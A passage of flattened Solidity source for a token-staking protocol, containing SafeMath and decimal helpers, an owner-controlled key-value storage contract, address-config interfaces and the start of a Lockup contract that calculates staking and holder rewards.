this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/src/common/libs/Decimals.sol pragma solidity 0.5.17; /** * Library for emulating calculations involving decimals. */ library Decimals { using SafeMath for uint256; uint120 private constant BASIS_VAKUE = 1000000000000000000; /** * @dev Returns the ratio of the first argument to the second argument. * @param _a Numerator. * @param _b Fraction. * @return Calculated ratio. */ function outOf(uint256 _a, uint256 _b) internal pure returns (uint256 result) { if (_a == 0) { return 0; } uint256 a = _a.mul(BASIS_VAKUE); if (a < _b) { return 0; } return (a.div(_b)); } /** * @dev Returns multiplied the number by 10^18. * @param _a Numerical value to be multiplied. * @return Multiplied value. */ function mulBasis(uint256 _a) internal pure returns (uint256) { return _a.mul(BASIS_VAKUE); } /** * @dev Returns divisioned the number by 10^18. * This function can use it to restore the number of digits in the result of `outOf`. * @param _a Numerical value to be divisioned. * @return Divisioned value. */ function divBasis(uint256 _a) internal pure returns (uint256) { return _a.div(BASIS_VAKUE); } } // File: contracts/interface/IAddressConfig.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IAddressConfig { function token() external view returns (address); function allocator() external view returns (address); function allocatorStorage() external view returns (address); function withdraw() external view returns (address); function withdrawStorage() external view returns (address); function marketFactory() external view returns (address); function marketGroup() external view returns (address); function propertyFactory() external view returns (address); function propertyGroup() external view returns (address); function metricsGroup() external view returns (address); function metricsFactory() external view returns (address); function policy() external view returns (address); function policyFactory() external view returns (address); function policySet() external view returns (address); function policyGroup() external view returns (address); function lockup() external view returns (address); function lockupStorage() external view returns (address); function voteTimes() external view returns (address); function voteTimesStorage() external view returns (address); function voteCounter() external view returns (address); function voteCounterStorage() external view returns (address); function setAllocator(address _addr) external; function setAllocatorStorage(address _addr) external; function setWithdraw(address _addr) external; function setWithdrawStorage(address _addr) external; function setMarketFactory(address _addr) external; function setMarketGroup(address _addr) external; function setPropertyFactory(address _addr) external; function setPropertyGroup(address _addr) external; function setMetricsFactory(address _addr) external; function setMetricsGroup(address _addr) external; function setPolicyFactory(address _addr) external; function setPolicyGroup(address _addr) external; function setPolicySet(address _addr) external; function setPolicy(address _addr) external; function setToken(address _addr) external; function setLockup(address _addr) external; function setLockupStorage(address _addr) external; function setVoteTimes(address _addr) external; function setVoteTimesStorage(address _addr) external; function setVoteCounter(address _addr) external; function setVoteCounterStorage(address _addr) external; } // File: contracts/src/common/config/UsingConfig.sol pragma solidity 0.5.17; /** * Module for using AddressConfig contracts. */ contract UsingConfig { address private _config; /** * Initialize the argument as AddressConfig address. */ constructor(address _addressConfig) public { _config = _addressConfig; } /** * Returns the latest AddressConfig instance. */ function config() internal view returns (IAddressConfig) { return IAddressConfig(_config); } /** * Returns the latest AddressConfig address. */ function configAddress() external view returns (address) { return _config; } } // File: contracts/interface/IUsingStorage.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IUsingStorage { function getStorageAddress() external view returns (address); function createStorage() external; function setStorage(address _storageAddress) external; function changeOwner(address newOwner) external; } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/src/common/storage/EternalStorage.sol pragma solidity 0.5.17; /** * Module for persisting states. * Stores a map for `uint256`, `string`, `address`, `bytes32`, `bool`, and `int256` type with `bytes32` type as a key. */ contract EternalStorage { address private currentOwner = msg.sender; mapping(bytes32 => uint256) private uIntStorage; mapping(bytes32 => string) private stringStorage; mapping(bytes32 => address) private addressStorage; mapping(bytes32 => bytes32) private bytesStorage; mapping(bytes32 => bool) private boolStorage; mapping(bytes32 => int256) private intStorage; /** * Modifiers to validate that only the owner can execute. */ modifier onlyCurrentOwner() { require(msg.sender == currentOwner, "not current owner"); _; } /** * Transfer the owner. * Only the owner can execute this function. */ function changeOwner(address _newOwner) external { require(msg.sender == currentOwner, "not current owner"); currentOwner = _newOwner; } // *** Getter Methods *** /** * Returns the value of the `uint256` type that mapped to the given key. */ function getUint(bytes32 _key) external view returns (uint256) { return uIntStorage[_key]; } /** * Returns the value of the `string` type that mapped to the given key. */ function getString(bytes32 _key) external view returns (string memory) { return stringStorage[_key]; } /** * Returns the value of the `address` type that mapped to the given key. */ function getAddress(bytes32 _key) external view returns (address) { return addressStorage[_key]; } /** * Returns the value of the `bytes32` type that mapped to the given key. */ function getBytes(bytes32 _key) external view returns (bytes32) { return bytesStorage[_key]; } /** * Returns the value of the `bool` type that mapped to the given key. */ function getBool(bytes32 _key) external view returns (bool) { return boolStorage[_key]; } /** * Returns the value of the `int256` type that mapped to the given key. */ function getInt(bytes32 _key) external view returns (int256) { return intStorage[_key]; } // *** Setter Methods *** /** * Maps a value of `uint256` type to a given key. * Only the owner can execute this function. */ function setUint(bytes32 _key, uint256 _value) external onlyCurrentOwner { uIntStorage[_key] = _value; } /** * Maps a value of `string` type to a given key. * Only the owner can execute this function. */ function setString(bytes32 _key, string calldata _value) external onlyCurrentOwner { stringStorage[_key] = _value; } /** * Maps a value of `address` type to a given key. * Only the owner can execute this function. */ function setAddress(bytes32 _key, address _value) external onlyCurrentOwner { addressStorage[_key] = _value; } /** * Maps a value of `bytes32` type to a given key. * Only the owner can execute this function. */ function setBytes(bytes32 _key, bytes32 _value) external onlyCurrentOwner { bytesStorage[_key] = _value; } /** * Maps a value of `bool` type to a given key. * Only the owner can execute this function. */ function setBool(bytes32 _key, bool _value) external onlyCurrentOwner { boolStorage[_key] = _value; } /** * Maps a value of `int256` type to a given key. * Only the owner can execute this function. */ function setInt(bytes32 _key, int256 _value) external onlyCurrentOwner { intStorage[_key] = _value; } // *** Delete Methods *** /** * Deletes the value of the `uint256` type that mapped to the given key. * Only the owner can execute this function. */ function deleteUint(bytes32 _key) external onlyCurrentOwner { delete uIntStorage[_key]; } /** * Deletes the value of the `string` type that mapped to the given key. * Only the owner can execute this function. */ function deleteString(bytes32 _key) external onlyCurrentOwner { delete stringStorage[_key]; } /** * Deletes the value of the `address` type that mapped to the given key. * Only the owner can execute this function. */ function deleteAddress(bytes32 _key) external onlyCurrentOwner { delete addressStorage[_key]; } /** * Deletes the value of the `bytes32` type that mapped to the given key. * Only the owner can execute this function. */ function deleteBytes(bytes32 _key) external onlyCurrentOwner { delete bytesStorage[_key]; } /** * Deletes the value of the `bool` type that mapped to the given key. * Only the owner can execute this function. */ function deleteBool(bytes32 _key) external onlyCurrentOwner { delete boolStorage[_key]; } /** * Deletes the value of the `int256` type that mapped to the given key. * Only the owner can execute this function. */ function deleteInt(bytes32 _key) external onlyCurrentOwner { delete intStorage[_key]; } } // File: contracts/src/common/storage/UsingStorage.sol pragma solidity 0.5.17; /** * Module for contrast handling EternalStorage. */ contract UsingStorage is Ownable, IUsingStorage { address private _storage; /** * Modifier to verify that EternalStorage is set. */ modifier hasStorage() { require(_storage != address(0), "storage is not set"); _; } /** * Returns the set EternalStorage instance. */ function eternalStorage() internal view hasStorage returns (EternalStorage) { return EternalStorage(_storage); } /** * Returns the set EternalStorage address. */ function getStorageAddress() external view hasStorage returns (address) { return _storage; } /** * Create a new EternalStorage contract. * This function call will fail if the EternalStorage contract is already set. * Also, only the owner can execute it. */ function createStorage() external onlyOwner { require(_storage == address(0), "storage is set"); EternalStorage tmp = new EternalStorage(); _storage = address(tmp); } /** * Assigns the EternalStorage contract that has already been created. * Only the owner can execute this function. */ function setStorage(address _storageAddress) external onlyOwner { _storage = _storageAddress; } /** * Delegates the owner of the current EternalStorage contract. * Only the owner can execute this function. */ function changeOwner(address newOwner) external onlyOwner { EternalStorage(_storage).changeOwner(newOwner); } } // File: contracts/src/lockup/LockupStorage.sol pragma solidity 0.5.17; contract LockupStorage is UsingStorage { using SafeMath for uint256; uint256 private constant BASIS = 100000000000000000000000000000000; //AllValue function setStorageAllValue(uint256 _value) internal { bytes32 key = getStorageAllValueKey(); eternalStorage().setUint(key, _value); } function getStorageAllValue() public view returns (uint256) { bytes32 key = getStorageAllValueKey(); return eternalStorage().getUint(key); } function getStorageAllValueKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_allValue")); } //Value function setStorageValue( address _property, address _sender, uint256 _value ) internal { bytes32 key = getStorageValueKey(_property, _sender); eternalStorage().setUint(key, _value); } function getStorageValue(address _property, address _sender) public view returns (uint256) { bytes32 key = getStorageValueKey(_property, _sender); return eternalStorage().getUint(key); } function getStorageValueKey(address _property, address _sender) private pure returns (bytes32) { return keccak256(abi.encodePacked("_value", _property, _sender)); } //PropertyValue function setStoragePropertyValue(address _property, uint256 _value) internal { bytes32 key = getStoragePropertyValueKey(_property); eternalStorage().setUint(key, _value); } function getStoragePropertyValue(address _property) public view returns (uint256) { bytes32 key = getStoragePropertyValueKey(_property); return eternalStorage().getUint(key); } function getStoragePropertyValueKey(address _property) private pure returns (bytes32) { return keccak256(abi.encodePacked("_propertyValue", _property)); } //InterestPrice function setStorageInterestPrice(address _property, uint256 _value) internal { // The previously used function // This function is only used in testing eternalStorage().setUint(getStorageInterestPriceKey(_property), _value); } function getStorageInterestPrice(address _property) public view returns (uint256) { return eternalStorage().getUint(getStorageInterestPriceKey(_property)); } function getStorageInterestPriceKey(address _property) private pure returns (bytes32) { return keccak256(abi.encodePacked("_interestTotals", _property)); } //LastInterestPrice function setStorageLastInterestPrice( address _property, address _user, uint256 _value ) internal { eternalStorage().setUint( getStorageLastInterestPriceKey(_property, _user), _value ); } function getStorageLastInterestPrice(address _property, address _user) public view returns (uint256) { return eternalStorage().getUint( getStorageLastInterestPriceKey(_property, _user) ); } function getStorageLastInterestPriceKey(address _property, address _user) private pure returns (bytes32) { return keccak256( abi.encodePacked("_lastLastInterestPrice", _property, _user) ); } //LastSameRewardsAmountAndBlock function setStorageLastSameRewardsAmountAndBlock( uint256 _amount, uint256 _block ) internal { uint256 record = _amount.mul(BASIS).add(_block); eternalStorage().setUint( getStorageLastSameRewardsAmountAndBlockKey(), record ); } function getStorageLastSameRewardsAmountAndBlock() public view returns (uint256 _amount, uint256 _block) { uint256 record = eternalStorage().getUint( getStorageLastSameRewardsAmountAndBlockKey() ); uint256 amount = record.div(BASIS); uint256 blockNumber = record.sub(amount.mul(BASIS)); return (amount, blockNumber); } function getStorageLastSameRewardsAmountAndBlockKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_LastSameRewardsAmountAndBlock")); } //CumulativeGlobalRewards function setStorageCumulativeGlobalRewards(uint256 _value) internal { eternalStorage().setUint( getStorageCumulativeGlobalRewardsKey(), _value ); } function getStorageCumulativeGlobalRewards() public view returns (uint256) { return eternalStorage().getUint(getStorageCumulativeGlobalRewardsKey()); } function getStorageCumulativeGlobalRewardsKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_cumulativeGlobalRewards")); } //PendingWithdrawal function setStoragePendingInterestWithdrawal( address _property, address _user, uint256 _value ) internal { eternalStorage().setUint( getStoragePendingInterestWithdrawalKey(_property, _user), _value ); } function getStoragePendingInterestWithdrawal( address _property, address _user ) public view returns (uint256) { return eternalStorage().getUint( getStoragePendingInterestWithdrawalKey(_property, _user) ); } function getStoragePendingInterestWithdrawalKey( address _property, address _user ) private pure returns (bytes32) { return keccak256( abi.encodePacked("_pendingInterestWithdrawal", _property, _user) ); } //DIP4GenesisBlock function setStorageDIP4GenesisBlock(uint256 _block) internal { eternalStorage().setUint(getStorageDIP4GenesisBlockKey(), _block); } function getStorageDIP4GenesisBlock() public view returns (uint256) { return eternalStorage().getUint(getStorageDIP4GenesisBlockKey()); } function getStorageDIP4GenesisBlockKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_dip4GenesisBlock")); } //lastStakedInterestPrice function setStorageLastStakedInterestPrice( address _property, address _user, uint256 _value ) internal { eternalStorage().setUint( getStorageLastStakedInterestPriceKey(_property, _user), _value ); } function getStorageLastStakedInterestPrice(address _property, address _user) public view returns (uint256) { return eternalStorage().getUint( getStorageLastStakedInterestPriceKey(_property, _user) ); } function getStorageLastStakedInterestPriceKey( address _property, address _user ) private pure returns (bytes32) { return keccak256( abi.encodePacked("_lastStakedInterestPrice", _property, _user) ); } //lastStakesChangedCumulativeReward function setStorageLastStakesChangedCumulativeReward(uint256 _value) internal { eternalStorage().setUint( getStorageLastStakesChangedCumulativeRewardKey(), _value ); } function getStorageLastStakesChangedCumulativeReward() public view returns (uint256) { return eternalStorage().getUint( getStorageLastStakesChangedCumulativeRewardKey() ); } function getStorageLastStakesChangedCumulativeRewardKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_lastStakesChangedCumulativeReward")); } //LastCumulativeHoldersRewardPrice function setStorageLastCumulativeHoldersRewardPrice(uint256 _holders) internal { eternalStorage().setUint( getStorageLastCumulativeHoldersRewardPriceKey(), _holders ); } function getStorageLastCumulativeHoldersRewardPrice() public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeHoldersRewardPriceKey() ); } function getStorageLastCumulativeHoldersRewardPriceKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("0lastCumulativeHoldersRewardPrice")); } //LastCumulativeInterestPrice function setStorageLastCumulativeInterestPrice(uint256 _interest) internal { eternalStorage().setUint( getStorageLastCumulativeInterestPriceKey(), _interest ); } function getStorageLastCumulativeInterestPrice() public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeInterestPriceKey() ); } function getStorageLastCumulativeInterestPriceKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("0lastCumulativeInterestPrice")); } //LastCumulativeHoldersRewardAmountPerProperty function setStorageLastCumulativeHoldersRewardAmountPerProperty( address _property, uint256 _value ) internal { eternalStorage().setUint( getStorageLastCumulativeHoldersRewardAmountPerPropertyKey( _property ), _value ); } function getStorageLastCumulativeHoldersRewardAmountPerProperty( address _property ) public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeHoldersRewardAmountPerPropertyKey( _property ) ); } function getStorageLastCumulativeHoldersRewardAmountPerPropertyKey( address _property ) private pure returns (bytes32) { return keccak256( abi.encodePacked( "0lastCumulativeHoldersRewardAmountPerProperty", _property ) ); } //LastCumulativeHoldersRewardPricePerProperty function setStorageLastCumulativeHoldersRewardPricePerProperty( address _property, uint256 _price ) internal { eternalStorage().setUint( getStorageLastCumulativeHoldersRewardPricePerPropertyKey(_property), _price ); } function getStorageLastCumulativeHoldersRewardPricePerProperty( address _property ) public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeHoldersRewardPricePerPropertyKey( _property ) ); } function getStorageLastCumulativeHoldersRewardPricePerPropertyKey( address _property ) private pure returns (bytes32) { return keccak256( abi.encodePacked( "0lastCumulativeHoldersRewardPricePerProperty", _property ) ); } //cap function setStorageCap(uint256 _cap) internal { eternalStorage().setUint(getStorageCapKey(), _cap); } function getStorageCap() public view returns (uint256) { return eternalStorage().getUint(getStorageCapKey()); } function getStorageCapKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_cap")); } //CumulativeHoldersRewardCap function setStorageCumulativeHoldersRewardCap(uint256 _value) internal { eternalStorage().setUint( getStorageCumulativeHoldersRewardCapKey(), _value ); } function getStorageCumulativeHoldersRewardCap() public view returns (uint256) { return eternalStorage().getUint(getStorageCumulativeHoldersRewardCapKey()); } function getStorageCumulativeHoldersRewardCapKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_cumulativeHoldersRewardCap")); } //LastCumulativeHoldersPriceCap function setStorageLastCumulativeHoldersPriceCap(uint256 _value) internal { eternalStorage().setUint( getStorageLastCumulativeHoldersPriceCapKey(), _value ); } function getStorageLastCumulativeHoldersPriceCap() public view returns (uint256) { return eternalStorage().getUint( getStorageLastCumulativeHoldersPriceCapKey() ); } function getStorageLastCumulativeHoldersPriceCapKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_lastCumulativeHoldersPriceCap")); } //InitialCumulativeHoldersRewardCap function setStorageInitialCumulativeHoldersRewardCap( address _property, uint256 _value ) internal { eternalStorage().setUint( getStorageInitialCumulativeHoldersRewardCapKey(_property), _value ); } function getStorageInitialCumulativeHoldersRewardCap(address _property) public view returns (uint256) { return eternalStorage().getUint( getStorageInitialCumulativeHoldersRewardCapKey(_property) ); } function getStorageInitialCumulativeHoldersRewardCapKey(address _property) private pure returns (bytes32) { return keccak256( abi.encodePacked( "_initialCumulativeHoldersRewardCap", _property ) ); } //FallbackInitialCumulativeHoldersRewardCap function setStorageFallbackInitialCumulativeHoldersRewardCap(uint256 _value) internal { eternalStorage().setUint( getStorageFallbackInitialCumulativeHoldersRewardCapKey(), _value ); } function getStorageFallbackInitialCumulativeHoldersRewardCap() public view returns (uint256) { return eternalStorage().getUint( getStorageFallbackInitialCumulativeHoldersRewardCapKey() ); } function getStorageFallbackInitialCumulativeHoldersRewardCapKey() private pure returns (bytes32) { return keccak256( abi.encodePacked("_fallbackInitialCumulativeHoldersRewardCap") ); } } // File: contracts/interface/IDevMinter.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IDevMinter { function mint(address account, uint256 amount) external returns (bool); function renounceMinter() external; } // File: contracts/interface/IProperty.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IProperty { function author() external view returns (address); function changeAuthor(address _nextAuthor) external; function changeName(string calldata _name) external; function changeSymbol(string calldata _symbol) external; function withdraw(address _sender, uint256 _value) external; } // File: contracts/interface/IPolicy.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IPolicy { function rewards(uint256 _lockups, uint256 _assets) external view returns (uint256); function holdersShare(uint256 _amount, uint256 _lockups) external view returns (uint256); function authenticationFee(uint256 _assets, uint256 _propertyAssets) external view returns (uint256); function marketApproval(uint256 _agree, uint256 _opposite) external view returns (bool); function policyApproval(uint256 _agree, uint256 _opposite) external view returns (bool); function marketVotingBlocks() external view returns (uint256); function policyVotingBlocks() external view returns (uint256); function shareOfTreasury(uint256 _supply) external view returns (uint256); function treasury() external view returns (address); function capSetter() external view returns (address); } // File: contracts/interface/IAllocator.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IAllocator { function beforeBalanceChange( address _property, address _from, address _to ) external; function calculateMaxRewardsPerBlock() external view returns (uint256); } // File: contracts/interface/ILockup.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface ILockup { function lockup( address _from, address _property, uint256 _value ) external; function update() external; function withdraw(address _property, uint256 _amount) external; function calculateCumulativeRewardPrices() external view returns ( uint256 _reward, uint256 _holders, uint256 _interest, uint256 _holdersCap ); function calculateRewardAmount(address _property) external view returns (uint256, uint256); /** * caution!!!this function is deprecated!!! * use calculateRewardAmount */ function calculateCumulativeHoldersRewardAmount(address _property) external view returns (uint256); function getPropertyValue(address _property) external view returns (uint256); function getAllValue() external view returns (uint256); function getValue(address _property, address _sender) external view returns (uint256); function calculateWithdrawableInterestAmount( address _property, address _user ) external view returns (uint256); function cap() external view returns (uint256); function updateCap(uint256 _cap) external; function devMinter() external view returns (address); } // File: contracts/interface/IMetricsGroup.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IMetricsGroup { function addGroup(address _addr) external; function removeGroup(address _addr) external; function isGroup(address _addr) external view returns (bool); function totalIssuedMetrics() external view returns (uint256); function hasAssets(address _property) external view returns (bool); function getMetricsCountPerProperty(address _property) external view returns (uint256); function totalAuthenticatedProperties() external view returns (uint256); // deplicated!!!!!!! function setTotalAuthenticatedPropertiesAdmin(uint256 _value) external; } // File: contracts/src/lockup/Lockup.sol pragma solidity 0.5.17; // prettier-ignore /** * A contract that manages the staking of DEV tokens and calculates rewards. * Staking and the following mechanism determines that reward calculation. * * Variables: * -`M`: Maximum mint amount per block determined by Allocator contract * -`B`: Number of blocks during staking * -`P`: Total number of staking locked up in a Property contract * -`S`: Total number of staking locked up in all Property contracts * -`U`: Number of staking per account locked up in a Property contract * * Formula: * Staking Rewards = M * B * (P / S) * (U / P) * * Note: * -`M`, `P` and `S` vary from block to block, and the variation cannot be predicted. * -`B` is added every time the Ethereum block is created. * - Only `U` and `B` are predictable variables. * - As `M`, `P` and `S` cannot be observed from a staker, the "cumulative sum" is often used to calculate ratio variation with history. * - Reward withdrawal always withdraws the total withdrawable amount. * * Scenario: * - Assume `M` is fixed at 500 * - Alice stakes 100 DEV on Property-A (Alice's staking state on Property-A: `M`=500, `B`=0, `P`=100, `S`=100, `U`=100) * - After 10 blocks, Bob stakes 60 DEV on Property-B (Alice's staking state on Property-A: `M`=500, `B`=10, `P`=100, `S`=160, `U`=100) * - After 10 blocks, Carol stakes 40 DEV on Property-A (Alice's staking state on Property-A: `M`=500, `B`=20, `P`=140, `S`=200, `U`=100) * - After 10 blocks, Alice withdraws Property-A staking reward. The reward at this time is 5000 DEV (10 blocks * 500 DEV) + 3125 DEV (10 blocks * 62.5% * 500 DEV) + 2500 DEV (10 blocks * 50% * 500 DEV). */ contract Lockup is ILockup, UsingConfig, LockupStorage { using SafeMath for uint256; using Decimals for uint256; address public devMinter; struct RewardPrices { uint256 reward; uint256 holders; uint256 interest; uint256 holdersCap; } event Lockedup(address _from, address _property, uint256 _value); /** * Initialize the passed address as AddressConfig address and Devminter. */ constructor(address _config, address _devMinter) public UsingConfig(_config) { devMinter = _devMinter; } /** * Adds staking. * Only the Dev contract can execute this function. */ function lockup( address _from, address _property, uint256 _value ) external { /** * Validates the sender is Dev contract. */ require(msg.sender == config().token(), "this is illegal address"); /** * Validates _value is not 0. */ require(_value != 0, "illegal lockup value"); /** * Validates the passed Property has greater than 1 asset. */ require( IMetricsGroup(config().metricsGroup()).hasAssets(_property), "unable to stake to unauthenticated property" ); /** * Since the reward per block that can be withdrawn will change with the addition of staking, * saves the undrawn withdrawable reward before addition it. */ RewardPrices memory prices = updatePendingInterestWithdrawal(_property, _from); /** * Saves variables that should change due to the addition of staking. */ updateValues(true, _from, _property, _value, prices); emit Lockedup(_from, _property, _value); } /** * Withdraw staking. * Releases staking, withdraw rewards, and transfer the staked and withdraw rewards amount to the sender. */ function withdraw(address _property, uint256 _amount) external { /** * Validates the sender is staking to the target Property. */ require( hasValue(_property, msg.sender, _amount), "insufficient tokens staked" ); /** * Withdraws the staking reward */ RewardPrices memory prices = _withdrawInterest(_property); /** * Transfer the staked amount to the sender. */ if (_amount != 0) { IProperty(_property).withdraw(msg.sender, _amount); } /** * Saves variables that should change due to the canceling staking.. */ updateValues(false, msg.sender, _property, _amount, prices); } /** * get cap */ function cap() external view returns (uint256) { return getStorageCap(); } /** * set cap */ function updateCap(uint256 _cap) external { address setter = IPolicy(config().policy()).capSetter(); require(setter == msg.sender, "illegal access"); /** * Updates cumulative amount of the holders reward cap */ (, uint256 holdersPrice, , uint256 cCap) = calculateCumulativeRewardPrices(); // TODO: When this function is improved to be called on-chain, the source of `getStorageLastCumulativeHoldersPriceCap` can be rewritten to `getStorageLastCumulativeHoldersRewardPrice`. setStorageCumulativeHoldersRewardCap(cCap); setStorageLastCumulativeHoldersPriceCap(holdersPrice); setStorageCap(_cap); } /** * Returns the latest cap */ function _calculateLatestCap(uint256 _holdersPrice) private view returns (uint256) { uint256 cCap = getStorageCumulativeHoldersRewardCap(); uint256 lastHoldersPrice = getStorageLastCumulativeHoldersPriceCap(); uint256 additionalCap = _holdersPrice.sub(lastHoldersPrice).mul(getStorageCap()); return cCap.add(additionalCap); } /** * Store staking states as a snapshot. */ function beforeStakesChanged( address _property, address _user, RewardPrices memory _prices ) private { /** * Gets latest cumulative holders reward for the passed Property. */ uint256 cHoldersReward = _calculateCumulativeHoldersRewardAmount(_prices.holders, _property); /** * Sets `InitialCumulativeHoldersRewardCap`. * Records this value only when the "first staking to the passed Property" is transacted. */ if ( getStorageLastCumulativeHoldersRewardPricePerProperty(_property) == 0 && getStorageInitialCumulativeHoldersRewardCap(_property) == 0 && getStoragePropertyValue(_property) == 0 ) { setStorageInitialCumulativeHoldersRewardCap( _property, _prices.holdersCap ); } /** * Store each value. */ setStorageLastStakedInterestPrice(_property, _user, _prices.interest); setStorageLastStakesChangedCumulativeReward(_prices.reward); setStorageLastCumulativeHoldersRewardPrice(_prices.holders); setStorageLastCumulativeInterestPrice(_prices.interest); setStorageLastCumulativeHoldersRewardAmountPerProperty( _property, cHoldersReward ); setStorageLastCumulativeHoldersRewardPricePerProperty( _property, _prices.holders ); setStorageCumulativeHoldersRewardCap(_prices.holdersCap); setStorageLastCumulativeHoldersPriceCap(_prices.holders); } /** * Gets latest value of cumulative sum of the reward amount, cumulative sum of the holders reward per stake, and cumulative sum of the stakers reward per stake. */ function calculateCumulativeRewardPrices() public view returns ( uint256 _reward, uint256 _holders, uint256 _interest, uint256 _holdersCap ) { uint256 lastReward = getStorageLastStakesChangedCumulativeReward(); uint256 lastHoldersPrice = getStorageLastCumulativeHoldersRewardPrice(); uint256 lastInterestPrice = getStorageLastCumulativeInterestPrice(); uint256 allStakes = getStorageAllValue(); /** * Gets latest cumulative sum of the reward amount. */ (uint256 reward, ) = dry(); uint256 mReward = reward.mulBasis(); /** * Calculates reward unit price per staking. * Later, the last cumulative sum of the reward amount is subtracted because to add the last recorded holder/staking reward. */ uint256 price = allStakes > 0 ? mReward.sub(lastReward).div(allStakes) : 0; /** * Calculates the holders reward out of the total reward amount. */ uint256 holdersShare = IPolicy(config().policy()).holdersShare(price, allStakes); /** * Calculates and returns each reward. */ uint256 holdersPrice = holdersShare.add(lastHoldersPrice); uint256 interestPrice = price.sub(holdersShare).add(lastInterestPrice); uint256 cCap = _calculateLatestCap(holdersPrice); return (mReward, holdersPrice, interestPrice, cCap); } /** * Calculates cumulative sum of the holders reward per Property. * To save computing resources, it receives the latest holder rewards from a caller. */ function _calculateCumulativeHoldersRewardAmount( uint256 _holdersPrice, address _property ) private view returns (uint256) { (uint256 cHoldersReward, uint256 lastReward) = ( getStorageLastCumulativeHoldersRewardAmountPerProperty( _property ), getStorageLastCumulativeHoldersRewardPricePerProperty(_property) ); /** * `cHoldersReward` contains the calculation of `lastReward`, so subtract it here. */ uint256 additionalHoldersReward = _holdersPrice.sub(lastReward).mul( getStoragePropertyValue(_property) ); /** * Calculates and returns the cumulative sum of the holder reward by adds the last recorded holder reward and the latest holder reward. */ return cHoldersReward.add(additionalHoldersReward); } /** * Calculates cumulative sum of the holders reward per Property. * caution!!!this function is deprecated!!! * use calculateRewardAmount */ function calculateCumulativeHoldersRewardAmount(address _property) external view returns (uint256) { (, uint256 holders, , ) = calculateCumulativeRewardPrices(); return _calculateCumulativeHoldersRewardAmount(holders, _property); } /** * Calculates holders reward and cap per Property. */ function calculateRewardAmount(address _property) external view returns (uint256, uint256) { (, uint256 holders, , uint256 